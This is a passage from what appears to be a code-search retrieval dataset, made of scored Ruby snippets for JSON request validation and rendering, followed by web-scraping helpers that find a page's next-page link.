"text": "def ensure_json\n if request.format != :json\n render status: :bad_request, json: {\n errors: [I18n.t('api.errors.only_json_or_xml')]\n }\n return false\n end\n end",
"title": ""
},
{
"docid": "2256e104fd17b577a07dc406ca2540c6",
"score": "0.6213738",
"text": "def json_request?\r\n request.format.json?\r\n end",
"title": ""
},
{
"docid": "e129fb06dadf3da18e640b842418a71b",
"score": "0.6207646",
"text": "def valid_json?\n JSON.parse(self)\n true\n rescue JSON::ParserError\n false\n end",
"title": ""
},
{
"docid": "255d4c4355d4ecc92dd190152d401a49",
"score": "0.62003046",
"text": "def processJSON(json)\n # \"Pretty Print\" the JSON response\n pp json\nend",
"title": ""
},
{
"docid": "d85952f059105cb39a862469821260f4",
"score": "0.61974835",
"text": "def json?\n is_content_type?('application/json')\n end",
"title": ""
},
{
"docid": "d85952f059105cb39a862469821260f4",
"score": "0.61974835",
"text": "def json?\n is_content_type?('application/json')\n end",
"title": ""
},
{
"docid": "9ac00586766e1540c8e497bcb63b5fc0",
"score": "0.6196974",
"text": "def valid?(json: {})\n json.present? && json[:title].present? && json[:data_access].present?\n end",
"title": ""
},
{
"docid": "215cd9939ba36ce4e9f8ed279076c154",
"score": "0.6192349",
"text": "def test_extjson?\n !!@extjson\n end",
"title": ""
},
{
"docid": "0fe66862de54900d9d8d048588963466",
"score": "0.6189341",
"text": "def description\n \"be a valid JSON string\"\n end",
"title": ""
},
{
"docid": "c5601575455da8c1599dd92f29e5f4b4",
"score": "0.6171017",
"text": "def json?\n return false unless table?\n @gapi.configuration.extract.destination_format == \"NEWLINE_DELIMITED_JSON\"\n end",
"title": ""
},
{
"docid": "1b5a4f634356779820f45771105c4acf",
"score": "0.6162049",
"text": "def valid?(json: {})\n json.present? && json[:title].present? && json[:url].present?\n end",
"title": ""
},
{
"docid": "b5e90a6622e2e7d27960307d5ced8d00",
"score": "0.6150972",
"text": "def looks_like_json? line\n !!(line =~ /^\\s*\\{/)\n end",
"title": ""
},
{
"docid": "54d00b389b528ef527062331c5bcba9c",
"score": "0.614097",
"text": "def json_request?\n request.format.json?\n end",
"title": ""
},
{
"docid": "1063bec01c1f2a255f34cfa4f19bee03",
"score": "0.61382926",
"text": "def jsonld?\n return @format.casecmp?('jsonld') if @format\n @jsonld == true\n end",
"title": ""
},
{
"docid": "f7ccc4490c4e0519c51d279b074a094c",
"score": "0.61232865",
"text": "def json_response?\n ['application/json','text/x-json'].include?(@response.headers['Content-Type'])\n end",
"title": ""
},
{
"docid": "6170ab8d5b5b1c4077027cfefc9c10f6",
"score": "0.6115292",
"text": "def robj_hash_preview\n igetset(:robj_hash_preview) do\n case require_attr(:server_content_type)\n when \"application/json\"\n begin\n JSON.parse(server_raw)\n rescue JSON::ParserError => e\n raise FormatError, \"#{e.class}: #{e.message}\"\n end\n else\n false\n end\n end\n end",
"title": ""
},
{
"docid": "6435a6b3f8b452dc2e4dac6e93497c10",
"score": "0.61087394",
"text": "def json_api?\n self.response.content_type.present? &&\n self.response.content_type.start_with?('application/vnd.api+json') &&\n self.json?\n end",
"title": ""
},
{
"docid": "43d3c1aa617fddc3404ec6737c968d8e",
"score": "0.61031014",
"text": "def prepare_json; end",
"title": ""
},
{
"docid": "a2a8fe587cd67f612741d6b760ef1624",
"score": "0.6089484",
"text": "def is_json?(content)\n begin\n !!JSON.parse(content)\n rescue\n false\n end\n end",
"title": ""
},
{
"docid": "231bf05e7191aa98f9514545b99920a4",
"score": "0.6089418",
"text": "def ensure_json_request\n unless request.format == :json\n render :nothing => true, :status => 406\n end\n end",
"title": ""
},
{
"docid": "0a3b82f944d2bafe0e7136b952ad87c0",
"score": "0.6086056",
"text": "def json?\n val = @gapi.configuration.load.source_format\n val == \"NEWLINE_DELIMITED_JSON\"\n end",
"title": ""
},
{
"docid": "2074570e17dbd52e4924642546b9d551",
"score": "0.6083558",
"text": "def check(request, response)\n return if request.asked_format != 'json'\n begin\n if response.body != JSON.minify(response.body)\n add_offense(request, response, :body)\n end\n rescue JSON::ParserError => e\n end\n end",
"title": ""
},
{
"docid": "2e1b046ebd8ae3221e39faf75cc69e1c",
"score": "0.6073343",
"text": "def ensure_json\n\t\t\tif ((request.headers[\"HTTP_ACCEPT\"].nil? && params[:format].nil?) ||\n\t\t\t\t(request.headers[\"HTTP_ACCEPT\"].include?(\"*/*\") && params[:format].nil?) ||\n\t\t\t\t(params[:format].downcase.eql?(\"json\")) ||\n\t\t\t\t(request.headers[\"HTTP_ACCEPT\"].include?(\"application/json\")))\n\t\t\t\t@content_type = 'application/json; charset=utf-8'\n\t\t\telse\n\t\t\t\t# TODO: fix this since it does not work perfectly\n\t\t\t\trender :nothing => true, :status => 406\tand return\n\t\t\tend \t\t\t \t\t\t\n\t\tend",
"title": ""
},
{
"docid": "75bd02025c2ff0482bced672ff6767c7",
"score": "0.606868",
"text": "def test_as_json\n assert_respond_to resource, :as_json\n resource.as_json\n resource.as_json(nil)\n end",
"title": ""
},
{
"docid": "fbaa0bc4ff8f3b31d3103a092bc92bd3",
"score": "0.6065725",
"text": "def not_acceptable\n return standard_error if content_type == :json\n render\n end",
"title": ""
},
{
"docid": "6ec40fcbff362de0b58b91dfc60f9cc1",
"score": "0.60482645",
"text": "def json_request?\n request.format.json?\n end",
"title": ""
},
{
"docid": "6ec40fcbff362de0b58b91dfc60f9cc1",
"score": "0.60482645",
"text": "def json_request?\n request.format.json?\n end",
"title": ""
},
{
"docid": "6ec40fcbff362de0b58b91dfc60f9cc1",
"score": "0.60482645",
"text": "def json_request?\n request.format.json?\n end",
"title": ""
},
{
"docid": "6ec40fcbff362de0b58b91dfc60f9cc1",
"score": "0.60482645",
"text": "def json_request?\n request.format.json?\n end",
"title": ""
},
{
"docid": "f2143f7641db5c32cdcbc228d56842c9",
"score": "0.6045989",
"text": "def ensure_json_request\n return if request.headers[\"Accept\"] =~ /json/\n render :nothing => true, :status => 406\n end",
"title": ""
},
{
"docid": "e3f17b3c306d21f108785fab5b311967",
"score": "0.604543",
"text": "def valid?(json: {})\n json.present? && json[:title].present? && json[:value].present? && json[:currency_code].present?\n end",
"title": ""
},
{
"docid": "7aadd97e4a651aa1fd054666f5f751a6",
"score": "0.6042001",
"text": "def json_request?\n\t\trequest.format.json?\n\tend",
"title": ""
},
{
"docid": "659af751772f880855f3845703c021f0",
"score": "0.6037386",
"text": "def valid?(json:)\n return false unless json.present?\n\n json[:type].present? && json[:identifier].present?\n end",
"title": ""
},
{
"docid": "1b0bc693d33976618f6979533817f7d6",
"score": "0.603471",
"text": "def test\n\t\trender :json => {\"code\" => 200}.to_json, :layout => false\n\tend",
"title": ""
},
{
"docid": "9a214efa802e318055ac1de5b654ada2",
"score": "0.60345477",
"text": "def render_json(dat)\n create_response(JSON.generate(dat), 200, {'Content-Type' => 'application/json;charset=utf-8'})\n end",
"title": ""
},
{
"docid": "f7154b64ac4551dbc98745714d60b476",
"score": "0.6034216",
"text": "def json_response?(content_type)\n !content_type.nil? && !content_type.match(/^application\\/json/i).nil?\n end",
"title": ""
},
{
"docid": "92142aa68b2d94a0c44246491edd53ad",
"score": "0.60121256",
"text": "def json_render(json = {})\n json_render_html('success', json)\n end",
"title": ""
},
{
"docid": "a0965564cd79bd58c0b43124bdcdb6e9",
"score": "0.6006612",
"text": "def valid_json?(json)\n\t\t\tbegin\n\t\t\t\tJSON.parse(json)\n\t\t\t\treturn true\n\t\t\trescue Exception => e\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "8dd5f9bcef71b09bf348475a5ea089bf",
"score": "0.60054016",
"text": "def json_body; end",
"title": ""
},
{
"docid": "4244f6ce97085fb18c676f4c923e71e1",
"score": "0.60010827",
"text": "def render_failure_json\n render json: entry.errors, status: :unprocessable_entity\n end",
"title": ""
},
{
"docid": "9f7af8f1f8dca99d2b9615088e911362",
"score": "0.59998196",
"text": "def _json(&block)\n # TODO: This is a bit of a hack\n js = Wunderbar::JsonBuilder.new(Struct.new(:params).new({}))\n js.log_level = :fatal\n rc = nil\n begin\n rc = yield js\n rescue Exception => e\n js._exception(e)\n end\n [rc, js.target?]\nend",
"title": ""
},
{
"docid": "9f7af8f1f8dca99d2b9615088e911362",
"score": "0.59998196",
"text": "def _json(&block)\n # TODO: This is a bit of a hack\n js = Wunderbar::JsonBuilder.new(Struct.new(:params).new({}))\n js.log_level = :fatal\n rc = nil\n begin\n rc = yield js\n rescue Exception => e\n js._exception(e)\n end\n [rc, js.target?]\nend",
"title": ""
},
{
"docid": "38ee31901eab1c0d99ebdcc4734819ed",
"score": "0.5997696",
"text": "def is_json_raw_type?(value); end",
"title": ""
},
{
"docid": "6f5ad2e7188e28133a52ef95904f1cc0",
"score": "0.59865457",
"text": "def verify_json(subject)\n subject.add_defaults\n dup = JSON[subject.to_json]\n assert_nothing_raised(\"#{subject} JSON is incomplete\") { dup.validate }\n dup\n end",
"title": ""
},
{
"docid": "d5a5ae9efa7b1f5606f1c0a10d02ec05",
"score": "0.5969294",
"text": "def json_request? #:doc:\n request.format.to_s =~ /^(application\\/)?json$/i\n end",
"title": ""
},
{
"docid": "74c9767f8741bcc8f6708bc049cc7294",
"score": "0.5959335",
"text": "def json_error error, number\n\t\tlogger.debug \"Error #{number}: #{error}\"\n\t\trender json: {error: {\"#{number}\": error}}\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "aec1d7ffcf3f5e6edc816b2d74e3d7a8",
"score": "0.59514505",
"text": "def json_response\n if @spot.errors.empty?\n render 'show'\n else\n json_errors(@spot.errors.full_messages)\n end\n end",
"title": ""
},
{
"docid": "20fdc2f0f2097617a6887fe915eeea56",
"score": "0.59415704",
"text": "def json?(headers)\n (headers[:content_type].include?'json') ? true : false\n end",
"title": ""
},
{
"docid": "2ee7c4825a4f8e3496b5f91ec3b6c4b2",
"score": "0.59347945",
"text": "def check_json_content_type(response)\n check_content_type(JSON_CONTENT_TYPE_RE, 'JSON', response)\n end",
"title": ""
},
{
"docid": "02fc45b117ec9f583a8e09c52a5e5991",
"score": "0.59346753",
"text": "def is_request_json?\n request.format == Mime::JSON\n end",
"title": ""
},
{
"docid": "3d34769fca0ac5961724aae3ce466299",
"score": "0.5932135",
"text": "def test_to_json\r\n\t\tassert_equal(@json, @class.to_json)\r\n\tend",
"title": ""
},
{
"docid": "e4ac661a9c6c6f8944198b4486a2843e",
"score": "0.59310627",
"text": "def show_JSON(result)\n puts JSON.pretty_generate result\nend",
"title": ""
},
{
"docid": "dbeb9c3c7c63beca7868d6d40f12eab5",
"score": "0.5927545",
"text": "def valid_response_test\n @response.respond_to?(:parsed_response) and @response.parsed_response.is_a?(Hash)\n end",
"title": ""
},
{
"docid": "21a7cf27559d11e645486d87c48a405f",
"score": "0.59247905",
"text": "def valid?(json: {})\n json.present? && json[:title].present? && json[:dataset_id].present?\n end",
"title": ""
},
{
"docid": "398b178bfee7d0ec387042ce247ce2ba",
"score": "0.5920415",
"text": "def test_render_using_implicit_serializer\n get :render_using_implicit_serializer\n\n expected = {\n name: 'Name 1',\n description: 'Description 1'\n }\n\n assert_equal 'application/json', @response.content_type\n assert_equal expected.to_json, @response.body\n end",
"title": ""
},
{
"docid": "fb6a9bf7694fea56e060e582cf2e152a",
"score": "0.59119606",
"text": "def valid?(json: {})\n json.present? &&\n json[:title].present? &&\n json[:dmp_id].present? && json[:dmp_id][:identifier].present? &&\n json[:contact].present? && json[:contact][:mbox].present?\n end",
"title": ""
},
{
"docid": "0176f22cb50785d82ac5f47cda644c4e",
"score": "0.5888245",
"text": "def uncached_json1\n render json: 1\n end",
"title": ""
},
{
"docid": "74a03b598442d5fa1a4839ffc276f7a1",
"score": "0.5884654",
"text": "def content_type_json\n unless request.headers[\"Content-Type\"] == \"application/json\"\n response.status = :expectation_failed\n render json: wrong_content_type\n end\n end",
"title": ""
},
{
"docid": "138a4a642b8570b1cd293cb408e6c4ec",
"score": "0.58792037",
"text": "def legacy_json_format; end",
"title": ""
},
{
"docid": "d9d5157995ef2e33871f72d907d0eebd",
"score": "0.5869468",
"text": "def match_json(expected, actual)\n diff_str = Minitest::MatchJson.compare_json(\n pretty_json(actual), pretty_json(expected)\n )\n diff_str.strip.empty? ? match_json_passes : match_json_fails(diff_str)\n end",
"title": ""
},
{
"docid": "ceeb78f611416f7bfd40b9761ad832e0",
"score": "0.586674",
"text": "def to_json\n # Uncomment the line below to also set flash messages after JSON requests\n #set_flash_message! if set_flash_message?\n if !has_errors? || response_overridden?\n default_render\n else\n controller.default_render( status: :unprocessable_entity )\n end\n end",
"title": ""
},
{
"docid": "ec40bed419b1e9b7b863053c77849c52",
"score": "0.58647203",
"text": "def json?\n val = @gapi.configuration.extract.destination_format\n val == \"NEWLINE_DELIMITED_JSON\"\n end",
"title": ""
},
{
"docid": "5b41d54cedb3ed8926fd7c56d08b6b36",
"score": "0.5863281",
"text": "def test_to_json\n assert_respond_to resource, :to_json\n resource.to_json\n resource.to_json(nil)\n end",
"title": ""
},
{
"docid": "99642581f489c32a4a42b488b1831eec",
"score": "0.5859504",
"text": "def caches_json?\n false\n end",
"title": ""
}
] |
8baddcc60838bfd3b1e941802304d1d6 | Extracts link to next page | [
{
"docid": "6b4d30a3656bf907f80bf1bc6f4f7694",
"score": "0.74016804",
"text": "def get_next_page(doc)\n\t\tdoc.xpath(@@XPATH_NEXT_PAGE).each do |node|\n\t\t\treturn node[\"href\"]\n\t\tend\n\t\treturn nil\n\tend",
"title": ""
}
] | [
{
"docid": "e095fcdbb92ea01a0696ea6ac2b8c842",
"score": "0.7930249",
"text": "def link_next_page; target_uri(next_page); end",
"title": ""
},
{
"docid": "7fbadf731503a71cb626907bff9ec34c",
"score": "0.78633034",
"text": "def next_page_href\n unless @next_page_href\n cursor = html.at 'p:last-of-type'\n \n cursor = cursor.at 'a' if cursor\n \n # Category Listings have their 'next 100 postings' link at the end of the doc in a p tag \n next_link = cursor if cursor and NEXT_PAGE_LINK.match cursor.inner_html\n\n # Search listings put their next page in a link towards the top\n next_link = (html / 'a').find{ |a| he_decode(a.inner_html) == '<b>Next>></b>' } unless next_link\n \n # Some search pages have a bug, whereby a 'next page' link isn't displayed,\n # even though we can see that theres another page listed in the page-number links block at the top\n # and bottom of the listing page\n unless next_link\n cursor = html % 'div.sh:first-of-type > b:last-of-type'\n\n # If there's no 'a' in the next sibling, we'll have just performed a nil assignment, otherwise\n # We're looking good.\n next_link = cursor.next_element if cursor and /^[\\d]+$/.match cursor.inner_html\n end\n \n # We have an anchor tag - so - let's assign the href:\n @next_page_href = next_link[:href] if next_link\n end\n \n @next_page_href\n end",
"title": ""
},
{
"docid": "7de7b06d66d46904396f45206f578b7f",
"score": "0.7826008",
"text": "def next_page\n anchors = get_url.css(\"a.paginatorActive\")\n if anchors.last.children[0].text == \"volgende\"\n @url = anchors.last.attributes[\"href\"].value\n else\n @url = \"\"\n end\n end",
"title": ""
},
{
"docid": "91263a52fd6420e3509e4317205bc6ef",
"score": "0.78122115",
"text": "def next\n if link = link('next')\n session.get_url(link.href)\n end\n end",
"title": ""
},
{
"docid": "619ea52655be69f97f917fc74e9e0c8a",
"score": "0.7810561",
"text": "def next_page_url(response)\n response.get(\"_links.next.href\")\n end",
"title": ""
},
{
"docid": "1aba1487de474542e5a62f9bfaeddf9b",
"score": "0.7793254",
"text": "def get_next_link\n @dexknows.page.search('li:last-child .prevnext').each do |np|\n next_link = np['href']\n @dexknows.get(next_link)\n @page_num += 1\n get_listings\n end\n end",
"title": ""
},
{
"docid": "83491a5b9e2e35a23eee7dba1cdba5ff",
"score": "0.7768187",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(ScraperWiki.scrape(url))\n scrape_table(page)\n next_link = page.at_css('.pager img[title=next]')\n return nil unless next_link\n #p next_link.parent['href']\n 'http://www.greenshifters.co.uk/' + next_link.parent['href']\nend",
"title": ""
},
{
"docid": "83491a5b9e2e35a23eee7dba1cdba5ff",
"score": "0.7768187",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(ScraperWiki.scrape(url))\n scrape_table(page)\n next_link = page.at_css('.pager img[title=next]')\n return nil unless next_link\n #p next_link.parent['href']\n 'http://www.greenshifters.co.uk/' + next_link.parent['href']\nend",
"title": ""
},
{
"docid": "220f5d026761ed5255bc79b7a8724b8f",
"score": "0.7767993",
"text": "def scrape_and_look_for_next_link(agent)\n scrape_page(agent.page)\n link = agent.page.link_with(:text => 'Next ›')\n if link\n link.click\n scrape_and_look_for_next_link(agent)\n end\nend",
"title": ""
},
{
"docid": "220f5d026761ed5255bc79b7a8724b8f",
"score": "0.7767993",
"text": "def scrape_and_look_for_next_link(agent)\n scrape_page(agent.page)\n link = agent.page.link_with(:text => 'Next ›')\n if link\n link.click\n scrape_and_look_for_next_link(agent)\n end\nend",
"title": ""
},
{
"docid": "3f7ad0d36a0e5fdb136cd3edec500529",
"score": "0.77484787",
"text": "def get_next_page(response)\n return nil unless response.headers[:link]\n\n matches = response.headers[:link].match('<([^>]+)>; rel=\"next\"')\n return matches[1] if matches\n end",
"title": ""
},
{
"docid": "2a682411c5483a4ac9a6fc3eaa5042d5",
"score": "0.7695254",
"text": "def next_page_url\n links_table[\"next\"]\n end",
"title": ""
},
{
"docid": "b173012829ec0d61d8e4141e25da0f88",
"score": "0.7669451",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n puts next_link\n next_url = BASE_URL + next_link['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "b173012829ec0d61d8e4141e25da0f88",
"score": "0.76689565",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n puts next_link\n next_url = BASE_URL + next_link['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "216e0bb449fcd242d5089da71a8d05c7",
"score": "0.76681817",
"text": "def next_page\n detect { |link| link.rel == Link::Rel::NEXT }\n end",
"title": ""
},
{
"docid": "2a1744349eeaae4b5117c007775d5479",
"score": "0.7653192",
"text": "def getNextPage(page)\n url=\"\"\n page.css(@next_page_css).each do |t| \n if t.text==\"next 200\" \n url=t.get_attribute(\"href\")\n end\n end\n return url\nend",
"title": ""
},
{
"docid": "5a509fdb346f45456d6102ab0ea09d67",
"score": "0.76037776",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n #p 'next_link: ' + next_link['href']\n next_url = BASE_URL + next_link['href']\n p 'next_url: ' + next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "5a509fdb346f45456d6102ab0ea09d67",
"score": "0.76037776",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n #p 'next_link: ' + next_link['href']\n next_url = BASE_URL + next_link['href']\n p 'next_url: ' + next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "fd8a837be55d0635a7692a7a31d06b10",
"score": "0.7585093",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a#next_page_link')\n if next_link \n p next_link\n next_url = BASE_URL + next_link['href']\n p next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "fd8a837be55d0635a7692a7a31d06b10",
"score": "0.7585093",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a#next_page_link')\n if next_link \n p next_link\n next_url = BASE_URL + next_link['href']\n p next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "1805762085f39f483204fb77299e32c3",
"score": "0.75191337",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n puts 'scraping: '+url\n scrape_table(page)\n next_link = page.at_css('li.next')\n if next_link\n next_url = BASE_URL + next_link.at_css('a').attribute(\"href\")\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "1805762085f39f483204fb77299e32c3",
"score": "0.75191337",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n puts 'scraping: '+url\n scrape_table(page)\n next_link = page.at_css('li.next')\n if next_link\n next_url = BASE_URL + next_link.at_css('a').attribute(\"href\")\n scrape_and_look_for_next_link(next_url)\n end\nend",
"title": ""
},
{
"docid": "f3cbc63bacf3893f89565a1b1b172e9f",
"score": "0.75185615",
"text": "def next_page_url\n (next_page_href) ? url_from_href(next_page_href) : nil\n end",
"title": ""
},
{
"docid": "08431c359036aff77648cf36da5cd3ca",
"score": "0.7514176",
"text": "def scrape_and_look_for_next_link(page)\n scrape_speech_list(page.body)\n link = page.link_with(:text => 'Next >')\n if link\n page.form_with(:name => 'form1') do |f|\n f['__EVENTTARGET'] = 'ctl01$listing$ctl00$pager$nextButton'\n f['__EVENTARGUMENT'] = ''\n page = f.submit()\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"title": ""
},
{
"docid": "08431c359036aff77648cf36da5cd3ca",
"score": "0.7514176",
"text": "def scrape_and_look_for_next_link(page)\n scrape_speech_list(page.body)\n link = page.link_with(:text => 'Next >')\n if link\n page.form_with(:name => 'form1') do |f|\n f['__EVENTTARGET'] = 'ctl01$listing$ctl00$pager$nextButton'\n f['__EVENTARGUMENT'] = ''\n page = f.submit()\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"title": ""
},
{
"docid": "bbc5ab35744904bf8a05288e762468ef",
"score": "0.74978435",
"text": "def next_link\n @next_link\n end",
"title": ""
},
{
"docid": "2f50d2b2ddf305f3690c9fa474e8b99e",
"score": "0.741423",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n\n## All the data is on one page so no need to page forward \n## ------------------------------------------------------\n# next_link = page.at_css('a.next_page')\n# if next_link \n# # puts next_link\n# next_url = BASE_URL + next_link['href']\n# # puts next_url\n# scrape_and_look_for_next_link(next_url)\n# end\n\nend",
"title": ""
},
{
"docid": "2f50d2b2ddf305f3690c9fa474e8b99e",
"score": "0.74141526",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n\n## All the data is on one page so no need to page forward \n## ------------------------------------------------------\n# next_link = page.at_css('a.next_page')\n# if next_link \n# # puts next_link\n# next_url = BASE_URL + next_link['href']\n# # puts next_url\n# scrape_and_look_for_next_link(next_url)\n# end\n\nend",
"title": ""
},
{
"docid": "ac13459ebcaf6c04ca914e0739edbcb8",
"score": "0.74126786",
"text": "def get_next_url(page)\n next_page = page.css('table')[2].css('td a')\n if next_page.to_a.count == 4\n next_page_url = @root_url+next_page[0]['href'].gsub(/>/, \"%3E\")\n if next_page_url.match(/Page=Prev/)\n next_page_url = nil\n end\n elsif next_page.to_a.count == 5\n next_page_url = @root_url+next_page[1]['href'].gsub(/>/, \"%3E\")\n end\n return next_page_url\nend",
"title": ""
},
{
"docid": "1b149145364542c97ebc7c4a80823954",
"score": "0.74006873",
"text": "def parse_next_uri(str)\n doc = Nokogiri::HTML(str)\n\n candidate = doc.css('.pagination').css('.next').css('a')\n candidate.size == 1 && candidate[0].text.strip =~ /^next/i ?\n candidate[0]['href'] :\n nil\n end",
"title": ""
},
{
"docid": "9f6471863b74e433756ae88d85ea3467",
"score": "0.73749316",
"text": "def next_url\n url_for(processor.page + 1)\n end",
"title": ""
},
{
"docid": "f47a83332e81c8103fcbdf61f3983095",
"score": "0.73613787",
"text": "def next_url\n next_page ? url(next_page) : nil\n end",
"title": ""
},
{
"docid": "9796de0e9cc72745fb9636d3ec6cca95",
"score": "0.73532045",
"text": "def next_page; page(\"next\"); end",
"title": ""
},
{
"docid": "d8cff16b80a99444d1b8cec052c90f7c",
"score": "0.731261",
"text": "def scrape_and_look_for_next_link(page, page_num, url, proceso,j)\n scrape_table(page.body, page_num, url, proceso,j)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$detalleproceso_orgpol1$gvOrgPol'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page, '2', url, proceso,j)\n end\nend",
"title": ""
},
{
"docid": "d8cff16b80a99444d1b8cec052c90f7c",
"score": "0.731261",
"text": "def scrape_and_look_for_next_link(page, page_num, url, proceso,j)\n scrape_table(page.body, page_num, url, proceso,j)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$detalleproceso_orgpol1$gvOrgPol'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page, '2', url, proceso,j)\n end\nend",
"title": ""
},
{
"docid": "d8cff16b80a99444d1b8cec052c90f7c",
"score": "0.731261",
"text": "def scrape_and_look_for_next_link(page, page_num, url, proceso,j)\n scrape_table(page.body, page_num, url, proceso,j)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$detalleproceso_orgpol1$gvOrgPol'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page, '2', url, proceso,j)\n end\nend",
"title": ""
},
{
"docid": "d8cff16b80a99444d1b8cec052c90f7c",
"score": "0.731261",
"text": "def scrape_and_look_for_next_link(page, page_num, url, proceso,j)\n scrape_table(page.body, page_num, url, proceso,j)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$detalleproceso_orgpol1$gvOrgPol'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page, '2', url, proceso,j)\n end\nend",
"title": ""
},
{
"docid": "cf57800f199a4976216021e906a1e831",
"score": "0.7312175",
"text": "def find_next_url(page)\r\n raise 'Define me!'\r\n end",
"title": ""
},
{
"docid": "f0898395eb9111380ce6474d65260d06",
"score": "0.72999245",
"text": "def next_url\n page_url current_page + 1\n end",
"title": ""
},
{
"docid": "35258c1af16d4ccf34fa2c93ea118e01",
"score": "0.72920007",
"text": "def get_next_url\n @index = @index + 1\n link = @url.to_s + \"?PageNumber=\"\n link = link + @index.to_s\n return link\nend",
"title": ""
},
{
"docid": "35258c1af16d4ccf34fa2c93ea118e01",
"score": "0.72920007",
"text": "def get_next_url\n @index = @index + 1\n link = @url.to_s + \"?PageNumber=\"\n link = link + @index.to_s\n return link\nend",
"title": ""
},
{
"docid": "35258c1af16d4ccf34fa2c93ea118e01",
"score": "0.72920007",
"text": "def get_next_url\n @index = @index + 1\n link = @url.to_s + \"?PageNumber=\"\n link = link + @index.to_s\n return link\nend",
"title": ""
},
{
"docid": "35258c1af16d4ccf34fa2c93ea118e01",
"score": "0.72920007",
"text": "def get_next_url\n @index = @index + 1\n link = @url.to_s + \"?PageNumber=\"\n link = link + @index.to_s\n return link\nend",
"title": ""
},
{
"docid": "4eb4790303f6c9cd339ca4e6b63c7ff3",
"score": "0.7252817",
"text": "def next_page page\n next_element = page.search(\"ul.pagination li\").at(\"li.active\").next_element\n # Return Next Element\n return next_element.nil? ? nil : next_element.at(\"a\")[\"href\"]\n end",
"title": ""
},
{
"docid": "eba0327afa11cecd9e63b10c8ce7224f",
"score": "0.7210974",
"text": "def page_links_next\n @page_links_next ||= \"Next >\"\n end",
"title": ""
},
{
"docid": "dc8cf1d0a7c375630dd81183e2dd84be",
"score": "0.7195697",
"text": "def advance_to_next_page_results\n if(! @next_page_link.nil? && @next_page_link.length > 0)\n @browser.goto(@next_page_link)\n end\n end",
"title": ""
},
{
"docid": "60c6d4762cfac5860cfc8c5a06b0d376",
"score": "0.717922",
"text": "def scrape_and_look_for_next_link(page)\n scrape_speech_list(page.body)\n page.form_with(:name => 'DynamicListPage') do |f|\n # See if we've got a \"Next\" submit field\n submit_button = f.button_with(:value => /next/i)\n if submit_button\n f.add_button_to_query(submit_button)\n page = f.submit()\n scrape_and_look_for_next_link(page)\n end\n end\nend",
"title": ""
},
{
"docid": "60c6d4762cfac5860cfc8c5a06b0d376",
"score": "0.717922",
"text": "def scrape_and_look_for_next_link(page)\n scrape_speech_list(page.body)\n page.form_with(:name => 'DynamicListPage') do |f|\n # See if we've got a \"Next\" submit field\n submit_button = f.button_with(:value => /next/i)\n if submit_button\n f.add_button_to_query(submit_button)\n page = f.submit()\n scrape_and_look_for_next_link(page)\n end\n end\nend",
"title": ""
},
{
"docid": "7b16762d5ac0e594ce6f0f99a8ea4d38",
"score": "0.7148756",
"text": "def check_next(page)\n href = nil\n links = page.xpath(\"//a/@href\")\n\n if links.length == 1\n href = links.first.value\n elsif links.length == 0\n puts \"No links in the page\"\n else\n puts \"More than one link in the page\"\n end\n\n href\n end",
"title": ""
},
{
"docid": "5cdad54d37a55987f61fcd55a8be0a0b",
"score": "0.7145479",
"text": "def bottom_link_to_next_article\n return \"\" if article_admin?\n ne = self.next\n return \"\" unless ne\n p = ne.class == Hash ? ne[:path] : ne\n app.button_next(p, :inline => true).in_div(class: 'nextbtn fright')\n end",
"title": ""
},
{
"docid": "047ce2a1dbc2016b42694295bebaccea",
"score": "0.7072781",
"text": "def next_link\n nil\n end",
